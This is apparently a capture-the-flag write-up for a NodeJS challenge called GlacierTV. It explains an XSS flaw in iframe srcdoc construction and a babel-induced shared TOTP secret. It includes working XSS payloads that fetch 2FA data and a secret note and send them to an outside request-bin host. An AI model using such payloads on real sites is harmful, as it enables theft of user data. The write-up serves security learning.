GlacierTV was a NodeJS web application that embeds Youtube videos and users can store text notes. For added security there is a 2FA feature that can be used to protect stored notes.

The full source code, both for client and server, were provided.

Report feature and XSS

  • Report feature takes all query search parameters (via window.location.search) and calls the following endpoint on server-side app.js
    • Call to await page.goto(uri); smells like XSS
const FLAG = process.env.FLAG || "gctf{dummy}";

app.post("/report", async (req, res) => {
    try {
        const path = req.body.path;
        if(typeof path !== "string") return res.status(400).send("No path provided");
        const uri = `http://localhost:8080/${path}`

        const browser = await puppeteer.launch({
            headless: "new",
            args: ["--no-sandbox", "--disable-dev-shm-usage", "--disable-setuid-sandbox"],
        });
        const context = await browser.createIncognitoBrowserContext();
        const page = await context.newPage();
        await page.goto('http://localhost:8080/');
        await page.waitForNavigation({
            waitUntil: 'networkidle0',
        });
        await page.evaluate(async message => {
            await fetch("/setup_2fa", {method: "POST"});
            await fetch("/secret_note", {
                method: "POST",
                body: JSON.stringify({message}),
                headers: {
                    "Content-Type": "application/json"
                }
            });
        }, FLAG)
        await page.goto(uri);
        await sleep(5000);
        await browser.close();
        res.status(200).send("Thank you for your report. We will check it soon")
    } catch(err) {
	    console.log(err)
        res.status(400).send("Something went wrong! If you think this is an error on our site, contact an admin.")
    }
})
  • Goal:
    • Extract flag during second user-controlled page load (i.e. await page.goto(uri);) from the note endpoint
    • where it was stored during first page load (and protected by TOTP 2FA).

XSS injection

  • Vulnerable function of client index.js performs string concatenation with query parameter uri.
function loadFromQuery() {
    const query = new URLSearchParams(window.location.search);
    const source = query.get("source") || "youtube";
    const uri = query.get("uri");
    document.getElementById("searchInput").value = uri || "https://www.youtube.com/embed/dQw4w9WgXcQ?&autoplay=1";
    if(!uri) return false;
    updateSource(uri, source);
    var ifconfig = {
        pathname: `<iframe frameborder="0" width=950 height=570 src="${parseURI(uri)}"></iframe>`
    }
    document.getElementById("viewer").srcdoc = ifconfig.pathname;
    return true;
}
  • Only requirement is passing the sanity check in parseURI, i.e.
function parseURI(uri) {
    const uriParts = new URL(uri);
    if(uriParts.origin === "https://www.youtube.com")
        return uri;
    // If user does not provide a youtube uri, we take the default one.
    return "https://www.youtube.com/embed/dQw4w9WgXcQ?&autoplay=1";
}
  • URL(uri) does not care about trailing nonsensical input
  • PoC XSS
alert("hello!");
// => uri query param value:
https://www.youtube.com/embed/dQw4w9WgXcQ"></iframe> <script>alert("hello!");</script> <iframe width=400 height=300 src="https://example.org

Building blocks for accessing note

  • browser.cookies.get("connect.sid") not working, Cookie is httpOnly
    • Not an issue, puppeteer behaves like a normal browser and uses persisted cookies across page loads

Retrieve note with 2FA token

  • Example TOTP metadata with secret:
    otpauth://totp/GlacierTV:2FA?issuer=GlacierTV&secret=DY74QIAVGG6YZVNYLPV7A65D7YKXGGW6FQ624WBOE2PJELEENAPQ&algorithm=SHA3-384&digits=9&period=43
    
  • Server has endpoint for note retrieval, but not implemented in client
fetch(`/secret_note?token=<totp_token_here>`).then(res => res.json()).then(json => { console.log(json); });
  • Use https://www.verifyr.com/en/otp/check#totp to generate TOTP token based on TOTP metadata
    • Unusual and exostic parameters means import in common 2FA apps not supported

Side-stepping 2FA via broken babel patch

  • Babel transpiles source JS into output JS, custom patch introduces strange behavior
    • Built locally via node/npm
    • Output JS for server at src/build/app.js and for client at src/public/assets/js/index.js
  • Inspecting modified JS (after beautify)
    • Global definition of TOTP metadate in token via var token = typeof token !== 'undefined' ? token : (getTOTPSecretToken()); // ##################
    • Endpoint for 2FA generation is meant to create new TOTP metadata for each call, but now broken due to babel patch
function getTOTPSecretToken() {
    token = typeof token !== 'undefined' ? token : (otpauth.Secret.fromHex(crypto.randomBytes(32).toString("hex")));
    return token
}
// ...
app.post("/setup_2fa", (req, res) => {
    var sessionId = typeof sessionId !== 'undefined' ? sessionId : (req.session.id);
    if (Object.keys(totp_tokens).includes(sessionId)) return res.status(400).send("TOTP already registered for that session!");
    var totp = typeof totp !== 'undefined' ? totp : (new otpauth.TOTP({
        issuer: "GlacierTV",
        label: "2FA",
        algorithm: "SHA3-384",
        digits: 9,
        period: 43,
        secret: getTOTPSecretToken()
    }));
    totp_tokens[sessionId] = totp;
    res.json({
        "totp": totp.toString()
    })
});
  • getTOTPSecretToken return same token that was created in global init for all calls.

Game plan for stealing the flag

  1. Perform 2FA request without credentials (or server won’t provide TOTP metadata)
    • JS payload for XSS that reports to Request bin:
fetch(`/setup_2fa`, { method: "POST", credentials: "omit" }).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?totp=${JSON.stringify(json)}`) });
// => uri query param value:
https://www.youtube.com/embed/dQw4w9WgXcQ"></iframe> <script>fetch(`/setup_2fa`, { method: "POST", credentials: "omit" }).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?totp=${JSON.stringify(json)}`) });</script> <iframe width=400 height=300 src="https://example.org

=> TOTP secret: GCDJCQ4BGU3SY2YQKPD666LPZTVHZN2TFWBCUX44S2QE4H4LEPEQ

  1. Extract TOTP secret and generate current token
    • Done manually via https://www.verifyr.com/en/otp/check#totp
  2. Load flag from note and extract for profit
    • JS payload for XSS that reports to Request bin:
fetch(`/secret_note?token=062279467`).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?flag=${JSON.stringify(json)}`); });
// => uri query param value:
https://www.youtube.com/embed/dQw4w9WgXcQ"></iframe> <script>fetch(`/secret_note?token=062279467`).then(res => res.json()).then(json => { fetch(`https://enoer09o91ux.x.pipedream.net/?flag=${JSON.stringify(json)}`); });</script> <iframe width=400 height=300 src="https://example.org

=> gctf{b3_CaR3fUl_WiTh_JavAScR1pT_C0mP1L3rS_!!1}

  • Trivia: Step 1 was pointless, TOTP secret turned out to be identical to the one received by all external users :/